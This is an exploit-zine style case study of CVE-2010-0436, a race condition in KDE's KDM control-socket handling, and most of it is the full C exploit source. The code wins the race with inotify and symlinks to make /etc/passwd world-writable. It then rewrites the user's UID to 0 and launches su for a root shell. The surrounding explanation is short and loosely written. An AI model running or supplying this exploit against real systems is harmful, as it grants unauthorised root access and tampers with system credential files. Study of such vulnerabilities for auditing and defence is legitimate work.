CVE vulnerability Case Study: CVE-2010-0436 KDE TOCTTOU vulnerability
___ ___
/ _ \ / _ \
__ __| (_) || | | | ___
\ \/ / \__. || | | | / __|
> < / / | |_| || (__
/_/\_\ /_/ \___/ \___|
[toc]
----[ 1 - Abstract
----[ 2 - Vulnerbility Details
----[ 3 - Exploit code
----[ 4 - Conclusion
----[ 5 - References
----[ 6 - Greets
----[ 1 - Abstract
It's the case study of the cve-2010-0436 KDE TOCTTOU discovered by stealth.
I explains the cve-2010-0436 vulnerability and the details finally, exploit
code.
The cve-2010-0436 has a vulnerability to lead to local privilege escalation
It ocurred at the openCtrl function in the kdebase-workspace-4.1.4/kdm/back
end/ctrl.c, the display manager daemon.
A little TOCTTOU cve cases are reported, in apache, bzip2, gzip, ...
openldap, openssl, kerberos, openoffice, cups, samba, xinetd, perl, KDE.
(Table 1: Reported TOCTTOU Vulnerabilities [1]) and the cwe observed example
of the TOCTTOU vulnerabilities are CVE-2003-0813 rpc dcom CVE-2004-0594 php
CVE-2008-2958/CVE -2008-1570 checkinstall, [2].
----[ 2 - Vulnerability Details
/var/run/xdmctl/dmctl-$DISPLAY/socket
---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ----
snip ---- snip ---- snip ---- snip ----
...
/*
* xdm - display manager daemon
* Author: Keith Packard, MIT X Consortium
*
* display manager
*/
...
void
openCtrl( struct display *d ) /* vulnerable function */
{
CtrlRec *cr;
const char *dname;
char *sockdir;
struct sockaddr_un sa;
if (!*fifoDir)
return;
if (d) {
cr = &d->ctrl, dname = d->name;
if (!memcmp( dname, "localhost:", 10 ))
dname += 9;
} else
cr = &ctrl, dname = 0;
if (cr->fd < 0) {
if (mkdir( fifoDir, 0755 )) {
if (errno != EEXIST) {
logError( "mkdir %\"s failed; no control FiFos will be available\n",
fifoDir );
return;
}
} else
chmod( fifoDir, 0755 ); /* override umask */
sockdir = 0;
strApp( &sockdir, fifoDir, dname ? "/dmctl-" : "/dmctl",
dname, (char *)0 );
/* socket directory exists? */
if (sockdir) {
strApp( &cr->path, sockdir, "/socket", (char *)0 ); /* get a string of
cr->path '/socket'
attached. */
if (cr->path) {
if (strlen( cr->path ) >= sizeof(sa.sun_path))
logError( "path %\"s too long; no control sockets will be
available\n",
cr->path );
else if (mkdir( sockdir, 0755 ) && errno != EEXIST) // directory create
failed?
logError( "mkdir %\"s failed; no control sockets will be available\n",
sockdir );
else { /* XXX: directory created?. ( /socket dir permmision 755 ) */
if (!d)
chown( sockdir, -1, fifoGroup );
/* XXX: change sockdir directory permission to 750. */
chmod( sockdir, 0750 );
if ((cr->fd = socket( PF_UNIX, SOCK_STREAM, 0 )) < 0) // create socket.
logError( "Cannot create control socket\n" );
else { // socket created?
unlink( cr->path ); // (1) unlink cr->path. (socket file)
sa.sun_family = AF_UNIX;
strcpy( sa.sun_path, cr->path );
if (!bind( cr->fd, (struct sockaddr *)&sa, sizeof(sa) )) {
if (!listen( cr->fd, 5 )) { // (2) listen.
/* (3) XXX: vulnerable point - set permission 666 after cr->path
created newly. */
chmod( cr->path, 0666 );
registerCloseOnFork( cr->fd );
registerInput( cr->fd );
free( sockdir );
return;
...
---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ----
snip ---- snip ---- snip ---- snip ----
(1) unlink /var/run/xdmctl/dmctl-$DISPLAY/socket file and (2) bind and
listen get an new socket and the socket file and (3) chmod 666 the socket
file. After unlink the socket file ln -s /etc/shadow /var/run/xdmctl/dmctl
-$DISPLAY/socket and (2) failed and chmod 666 the socket file to lead to
chmod /etc/shadow 666. TOCTTOU!
A process do symlink and another process open the display continualy, can
get the read/writable /etc/shadow file. The open the display via the AF_UNIX
socket.
----[ 3 - Exploit Code
See the exploit process via stealth's exploit code:
[bambule-digitale.c]
----
/* bambule-digitale.c aka krm.c - KDE Root Manager
*
* KDE3/4 KDM local root exploit (C) 2010
* Successfully tested on openSUSE 11.2 with intel Core2 x64
* a 1.6Ghz. But this is not Linux specific!
*
* Bug is a silly race. KDM opens control socket in
* /var/run/xdmctl/dmctl-$DISPLAY/socket. It looks safe
* since the dir containing the socket is chowned to user [2]
* after the bind()/chmod() [1] has been done. However, rmdir() [3]
* retval is not checked and therefore upon restart mkdir()
* for a root owned socket dir fails. Thus still owned by
* user who can then play symlink tricks:
*
* kdm/backend/ctrl.c:
*
* ...
* if ((cr->fd = socket( PF_UNIX, SOCK_STREAM, 0 )) < 0)
* LogError( "Cannot create control socket\n" );
* else {
* unlink( cr->path );
* sa.sun_family = AF_UNIX;
* strcpy( sa.sun_path, cr->path );
* if (!bind( cr->fd, (struct sockaddr *)&sa, sizeof(sa) )) {
* if (!listen( cr->fd, 5 )) {
* [1] chmod( cr->path, 0666 );
* RegisterCloseOnFork( cr->fd );
* RegisterInput( cr->fd );
* free( sockdir );
* return;
* }
* unlink( cr->path );
* LogError( "Cannot listen on control socket %\"s\n",
* cr->path );
* ...
*
*
* void
* chownCtrl( CtrlRec *cr, int uid )
* {
* if (cr->path) {
* char *ptr = strrchr( cr->path, '/' );
* *ptr = 0;
* [2] chown( cr->path, uid, -1 );
* *ptr = '/';
* }
* }
*
*
* void
* closeCtrl( struct display *d )
* {
* CtrlRec *cr = d ? &d->ctrl : &ctrl;
*
* if (cr->fd >= 0) {
* UnregisterInput( cr->fd );
* CloseNClearCloseOnFork( cr->fd );
* cr->fd = -1;
* unlink( cr->path );
* *strrchr( cr->path, '/' ) = 0;
* [3] rmdir( cr->path );
* free( cr->path );
* cr->path = 0;
* while (cr->css) {
* struct cmdsock *cs = cr->css;
* cr->css = cs->next;
* nukeSock( cs );
* }
* }
* }
*
* We make [3] fail by creating an entry in socketdir when it was
* chowned to us. Creating an inotify for socket creations which
* is delivered to us before chmod at [1]. Even if its very small
* race we have good chances to win on fast machines with more
* than one CPU node, e.g. common setup today.
*
* Log into KDM session, switch to console and login as same user.
* Start program and follow instructions.
*
* No greets to anyone; you all suck badly :D
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/inotify.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <signal.h>
#include <sys/select.h>
#include <sys/syscall.h>
#include <sched.h>
#include <time.h>
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void give_me_r00t()
{
int fd;
char buf[128], c;
char *pwd = NULL, *ptr = NULL;
struct stat st;
off_t off = 0;
if ((fd = open("/etc/passwd", O_RDWR)) < 0)
die("[-] open");
fstat(fd, &st);
if ((pwd = malloc(st.st_size)) == NULL)
die("[-] malloc");
if (read(fd, pwd, st.st_size) != st.st_size)
die("[-] read");
snprintf(buf, sizeof(buf), "%s:x:", getenv("USER"));
ptr = strstr(pwd, buf);
if (!ptr) {
printf("[-] Wrong /etc/passwd format\n");
close(fd);
return;
}
off = lseek(fd, ptr - pwd + strlen(buf), SEEK_SET);
free(pwd);
for (;;) {
pread(fd, &c, 1, off);
if (c == ':')
break;
write(fd, "0", 1);
++off;
}
close(fd);
sync();
}
int main()
{
char buf[128];
int ifd = 0;
struct stat st;
struct sockaddr_un sun;
int sfd;
const char *sock_dir = "/var/run/xdmctl/dmctl-:0";
char *su[] = {"/bin/su", getenv("USER"), NULL};
srand(time(NULL));
chdir(sock_dir); /* (1) chdir sock_dir. */
memset(&sun, 0, sizeof(sun));
sun.sun_family = AF_UNIX;
strcpy(sun.sun_path, "socket2");
mkdir("hold me", 0);
signal(SIGPIPE, SIG_IGN);
symlink("/etc/passwd", "passwd"); // (2) ln -s /etc/passwd ./passwd
printf("--==[ KDM3/4 local root PoC successfully tested on dual-core
]==--\n");
printf("[+] Setup done. switch to KDM session and press Ctrl-Alt-Backspace
(logout)\n");
printf("[+] KDM screen will start to flicker (one restart per 2
seconds)\n");
printf("[+] Be patient, this can take some minutes! If it takes more
than\n");
printf("[+] 5mins or so it runs on the wrong CPU node; try again.\n");
printf("[+] If KDM screen stands still again, switch back to console.\n");
for (;;) { // (3) race!
/* (2) open the display via PF_UNIX socket. */
if ((sfd = socket(PF_UNIX, SOCK_STREAM, 0)) < 0)
die("[-] socket");
if ((ifd = inotify_init()) < 0)
die("[-] inotify_init");
if (inotify_add_watch(ifd, sock_dir, IN_CREATE) < 0)
die("[-] inotify_add_watch");
/* (4) unlink socket2 */
unlink("socket2");
/* blocks until race */
syscall(SYS_read, ifd, buf, 1);
/* be very fast, thus syscall() instead of glibc functions */
syscall(SYS_rename, "socket", "socket2"); /* (5) rename socket socket2 */
syscall(SYS_symlink, "passwd", "socket"); /* (6) ln -s passwd socket */
close(ifd);
if (stat("/etc/passwd", &st) < 0)
die("[-] stat");
if ((st.st_mode & 0666) == 0666)
break;
sleep(2);
usleep(100 + (int)(50.0*rand()/(RAND_MAX+1.0)));
/* (7) AF_UNIX socket to open the display (to create the socket file) */
if (connect(sfd, (struct sockaddr *)&sun, sizeof(sun)) < 0)
break;
write(sfd, "suicide\n", 8);
close(sfd);
}
/* (8) exploited? */
if (stat("/etc/passwd", &st) < 0)
die("[-] stat");
if ((st.st_mode & 0666) != 0666) {
printf("[-] Exploit failed.\n");
return 1;
}
printf("[+] yummy! /etc/passwd world writable!\n");
give_me_r00t();
printf("[+] Type your user password now. If there is no rootshell, nscd is
playing tricks.
'su %s' then.\n", getenv("USER"));
execve(*su, su, NULL);
return 0;
}
----
The exploit comment explains also the related chownCtrl, closeCtrl.
First chdir to the socket directory and symlink /etc/passwd ./socket and
the next race! (4) unlink the socket2 and (5) rename socket to socket2
(6) symlink passwd (symlink'd) to ./socket and (7) AF_UNIX socket connect!
A process symlink /etc/passwd to /var/run/xdmctl/dmctl-:0/socket and the
another process open the display continualy and privilege escalation!
----[ 4 - Conclusion
If to find an TOCTTOU vulnerability, can audit the unlink/create/chmod
codes. If the code flow thaa unlink to chmod no permission checks and
can get the vulnerability.
I explained the KDM TOCTTOU vulnerability via summary, references and
the explanation of the process of the exploit.
----[ 5 - References
[1] TOCTTOU Vulnerabilities in UNIX-Style File Systems: An Anatomical Study
https://www.usenix.org/legacy/event/fast05/tech/full_papers/wei/wei.pdf
[2] CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
http://cwe.mitre.org/data/definitions/367.html
----[ 5 - Greets
my stuffs are more favorite than rebel's stuffs.
EOF